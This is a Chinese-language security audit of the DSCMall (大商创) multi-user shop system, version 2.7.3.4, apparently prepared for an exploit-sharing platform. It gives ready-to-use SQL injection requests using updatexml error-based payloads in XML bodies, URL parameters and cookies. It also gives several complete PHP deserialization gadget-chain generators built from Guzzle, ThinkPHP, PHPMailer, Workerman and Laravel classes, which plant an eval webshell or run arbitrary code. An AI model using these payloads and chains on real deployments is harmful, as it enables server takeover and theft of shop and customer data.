0x00 基本信息

简介

这里是为了提交goexp,仅记录一点

这是一款多用户商城系统,审计版本为2.7.3.4

文件hash

必选项

  • c2b158f1a4c35a343fc5552543db3e7a

文件存储

必选项

  • 源码:https://pan.baidu.com/s/1NdMb89zAwX6je6OX-ohhKQ

cms指纹

可选项,后期必选

源码相关

  • 官方网站:https://www.dscmall.cn/

cms名字

必选项,实际名字或者化名

  • 大商创bcbc2多用户商城系统

关联平台

类似第三方支付平台

软件安装

0x01 代码简单介绍

这里的代码是mvc和普通文件共存在

并且存在调用tp3的的基础库和laravel的基础库共存的情况

鉴权的方式就是admin_priv函数

正常情况下鉴权不通过会在标注的代码处直接退出

1661856951440

过滤方式,同样也是转义

1661857185216

在mobile下发现了框架的存在,这就是上面说的tp和laravel共存的

使用laravel加载的,但是model或者接收参数什么的都用的thinkphp

1661857243053

0x02 代码审计

代码体量还是很大的,仅部分记录前台的问题

SQL注入

SQL注入1

在ajax_dialog.php文件中

可以看到此处不需要单引号

1661857401295

直接复现,可以直接使用报错注入

1661857435977

SQL注入2

在wholesale_purchase.php文件中对keyword参数进行了反转义操作

1661857538964

跟进方法

1661857559394

漏洞复现

1661857585192

SQL注入3

在wxpay_native_callback.php文件中,解码xml数据

这里是在未配置的情况下

1661857713318

漏洞复现

1
2
3
4
5
6
7
8
9
POST /wxpay_native_callback.php HTTP/1.1

<xml>
<result_code>SUCCESS</result_code>
<sign>79FEF92AD9BED9D018C17526278E8B6A</sign>
<out_trade_no>1O1' and updatexml(1,concat(0x7e,user()),1)#</out_trade_no>
<openid>1</openid>
<transaction_id>a</transaction_id>
</xml>

1661857815055

SQL注入4

框架中的没有转义

在框架中所有的前台方法都要走FrontendController

在这里面会调用ecjia_login方法

1661857863555

这里可以直接注入,我下的环境可以直接报错,不能报错的话可以用布尔

漏洞复现

1
/mobile/index.php?m=brand&a=detail&id=141&origin=app&openid=1'+and+updatexml(1,concat(0x7e,md5(123)),1)%23

1661857943178

SQL注入5

在category控制器的products方法中调用了init_params方法

1661858081220

跟进方法

1661858123264

继续跟进

1661858139012

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
GET /mobile/index.php?m=category&a=products HTTP/1.1
Host: 127.0.0.1:8309
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: province=0' or updatexml(1,concat(0x7e,user()),1)#;
Connection: close

1661858178283

反序列化漏洞

注入反序列化

可以通过注入达到反序列化的效果

1661858446434

跟进callback方法

1661858564853

1661858576727

这种不多说,调用反序列化函数的地方比较多,这种应该挺多的

反序列化漏洞1

chat模块的adminp控制器的index方法

1661858700964

从请求头中获取token

1661858749224

然后直接进行反序列化

1661858785024

反序列化漏洞2

chat模块的index控制器的index方法

1661858875045

反序列化漏洞3

wechat模块的api控制器的index方法

1661859021481

反序列化利用链

这里因为乱七八糟的,所以得找下代码执行的利用链

就以guzz为入口

为了方便向后续版本扩展这里以FileCookieJar为入口

在file_put_contents处触发tostring

1661861291173

toString用FnStream的

1661861356432

这里的任意调用不能传参数

第一处中间节点

EachPromise类的promise方法

1661861429664

跟进refillPending方法

1661861479866

传了参数但是参数不可控

其实大多数情况这种还得跳一次,但是这里不用了

第二处中间节点

Binding类的resolveTransformer方法,这个就是全部可控了

1661861572288

寻找代码执行点

这里面竟然没有什么其他代码执行的地方

还得尝试用tp3的点

sae的load方法

1661861653070

跟进

1661861692653

继续查看get方法

可以从数组种取,所以这也是第一处中间节点是不可控也可以的原因

1661861750722

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

namespace Think\Storage\Driver{
class Sae{
public $contents;
public function __construct()
{
$this->contents = array("a"=>"0123456789<?php eval(\$_REQUEST['img']);");
}
}
}
//关键节点FnStream,结合guzz+guzzservice
namespace Dingo\Api\Transformer{
use Think\Storage\Driver\Sae;
class Binding{
public $resolver;
public $container;
public function __construct()
{
$this->resolver = array(new Sae(),'load');
$this->container = "a";
}
}
}



namespace GuzzleHttp\Psr7{
use Dingo\Api\Transformer\Binding;
class FnStream{
public $method;
public function __construct()
{
$this->method = ["__toString"=>[new Binding(),"resolveTransformer"]];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace GuzzleHttp\Cookie{
use GuzzleHttp\Psr7\FnStream;
class FileCookieJar{
public $filename;
public $storeSessionCookies;
public function __construct()
{
$this->filename = new FnStream();
$this->storeSessionCookies = 1;
}
}
}


namespace {
use GuzzleHttp\Cookie\FileCookieJar;
$exception = new FileCookieJar();
$a = serialize($exception);
$b = str_replace('\\','\\\\',$a);
$c = str_replace('"','\"',$b);
echo $c;
}

1661862127003

上面是代码执行的链但是有一点就是受<的限制

扩展1

两种方法

  • 寻找一个tostring,存在<
  • 找一个新的不需要<的地方

第一种

phpDocumentor\Reflection\DocBlock\Tags\Author类的toString方法

1661913684363

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
namespace phpDocumentor\Reflection\DocBlock\Tags{
class Author{
public $authorName = "0123456789";
public $authorEmail = "?php eval(\$_REQUEST['img']);//";
}
}

namespace Think\Storage\Driver{
use phpDocumentor\Reflection\DocBlock\Tags\Author;
class Sae{
public $contents;
public function __construct()
{
$this->contents = array("a"=>new Author());
}
}
}
//关键节点FnStream,结合guzz+guzzservice
namespace Dingo\Api\Transformer{
use Think\Storage\Driver\Sae;
class Binding{
public $resolver;
public $container;
public function __construct()
{
$this->resolver = array(new Sae(),'load');
$this->container = "a";
}
}
}



namespace GuzzleHttp\Psr7{
use Dingo\Api\Transformer\Binding;
class FnStream{
public $method;
public function __construct()
{
$this->method = ["__toString"=>[new Binding(),"resolveTransformer"]];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace GuzzleHttp\Cookie{
use GuzzleHttp\Psr7\FnStream;
class FileCookieJar{
public $filename;
public $storeSessionCookies;
public function __construct()
{
$this->filename = new FnStream();
$this->storeSessionCookies = 1;
}
}
}


namespace {
use GuzzleHttp\Cookie\FileCookieJar;
$exception = new FileCookieJar();
$a = serialize($exception);
echo $a;
}

1661914363953

第二种

暂时不看了


扩展2

还有一种问题就是参数的属性问题不正确无法反序列化

因为在私有属性或者受保护属性前面会有00字符,public不存在

比如private属性

1661917803788

protected属性

1661917849782

这种在windows下测试全部都用public也可以,但是linux必须用原始的属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

namespace Think\Storage\Driver{
class Sae{
private $contents;
public function __construct()
{
$this->contents = array("a"=>"0123456789<?php phpinfo();exit;");
}
}
}
//关键节点FnStream,结合guzz+guzzservice
namespace Dingo\Api\Transformer{
use Think\Storage\Driver\Sae;
class Binding{
protected $resolver;
protected $container;
public function __construct()
{
$this->resolver = array(new Sae(),'load');
$this->container = "a";
}
}
}



namespace GuzzleHttp\Psr7{
use Dingo\Api\Transformer\Binding;
class FnStream{
private $method;
public function __construct()
{
$this->method = ["close"=>[new Binding(),"resolveTransformer"]];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace GuzzleHttp\Cookie{
use GuzzleHttp\Psr7\FnStream;
class FileCookieJar{
public $filename;
public $storeSessionCookies;
public function __construct()
{
$this->filename = new FnStream();
$this->storeSessionCookies = 1;
}
}
}


namespace {
// use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Psr7\FnStream;
$exception = new FnStream();
$a = serialize($exception);
echo urlencode(urlencode(addslashes($a)));
}

那么关于上面第二个从header种获取token的,就需要一个全部是public属性的链子

尝试去找一找

第一种

第一种全public属性的链子,还有限制,就是需要存在换行,还是不能在请求头中使用

入口点,依然用FnStream类

1661928947997

这里找了一处两个参数全部都是public的,PHPMailer类

1661929024806

但是很明显的是str参数并不可控,所以用不了create_function

1661929058633

最终找到一处set方法,这里是tp的写缓存,需要使用到换行符

文件名会被MD5加密

1661929184065

这个链子还有一个难点就是PHPMailer类并不能被autoload

因为命名不规范,无法通过自动加载

这个时候可以看看这个类是怎么调用的,经过查找,发现在email文件中进行了包含调用

1661929302739

那么可以先自动加载这个email ,由于这里已经包含了phpmailer,所以后面就不需要去加载这个类了,直接用就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace App\Channels\Email{

class Email{
}
}
namespace GuzzleHttp\Psr7{
use App\Channels\Email\Email;
use \PHPMailer;
class FnStream{
public $method;
public function __construct()
{
$this->method = ["__toString"=>[new Email(),"getError"],"close"=>[new PHPMailer(),"postSend"]];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}
namespace Think\Cache\Driver{
class File {

}
}
namespace{
use Think\Cache\Driver\File;
use GuzzleHttp\Psr7\FnStream;
class PHPMailer{
public $Debugoutput;
public $SMTPDebug;
public $Mailer = 'smtp';
public function __construct()
{
$this->Debugoutput = [new File(),"set"];
$this->SMTPDebug = "1aa\rphpinfo();//";

}
}
$exception = new FnStream();
$a = serialize($exception);
echo urlencode(urlencode(addslashes($a)));
}

最终生成文件如下

1661929416405

由于实际环境没法用,并未纠结文件名问题

第二种

依然是FnStream为入口

发现workman的soket类成员变量全部是public属性

1661929578163

有一个onDrainCallback方法,可以达成完全可控的任意调用

1661929629180

为了任意代码执行

继续往下找

在ev类中

1661930044484

这个时候随便找一个具有成员变量data是public属性的类

可以用laravel的基础类

1661930109001

最终实现全public的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace Workerman\Events{
class Ev{}
}

namespace Illuminate\Events{
class CallQueuedListener{
public $data;
public function __construct(){
$this->data = array(
'create_function',
array('','echo test;};phpinfo();//;'),
3,
4,
5,
);
}
}
}

namespace PHPSocketIO\Engine{
use Workerman\Events\Ev;
use Illuminate\Events\CallQueuedListener;
class Socket{
public $sentCallbackFn;
public $transport;
public function __construct(){
$this->sentCallbackFn = [[new Ev(),"timerCallback"]];
$this->transport = new CallQueuedListener();
}

}
}

namespace GuzzleHttp\Psr7{
use PHPSocketIO\Engine\Socket;
class FnStream{
public $method;
public function __construct()
{
$this->method = ["close"=>[new Socket(),"onDrainCallback"]];
foreach ($this->method as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
}
}

namespace {
use GuzzleHttp\Psr7\FnStream;
$exception = new FnStream();
$a = serialize($exception);
echo urlencode(urlencode(addslashes($a)));
}

1661931110532

0x03 end